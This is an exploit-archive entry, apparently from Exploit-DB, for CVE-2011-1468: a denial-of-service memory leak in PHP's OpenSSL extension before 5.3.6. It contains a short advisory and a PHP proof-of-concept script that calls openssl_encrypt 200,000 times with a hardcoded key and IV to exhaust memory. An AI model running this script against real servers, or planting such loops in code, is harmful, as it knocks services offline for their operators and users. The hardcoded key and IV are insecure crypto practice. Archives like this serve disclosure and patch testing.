PHP < 5.3.6 'OpenSSL' Extension - 'openssl_encrypt' Plaintext Data Memory Leak Denial of Service

    Author: dovbysh

    type: dos

    platform: php

    port: 

    date_added: 2011-03-08

    date_updated: 2014-12-08

    verified: 1

    codes: CVE-2011-1468;OSVDB-73754

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    raw file: 35486.php

source: https://www.securityfocus.com/bid/46977/info

PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.

Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.

Versions prior to PHP 5.3.6 are vulnerable.

<?php

$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f  frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";

$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
	openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";

?>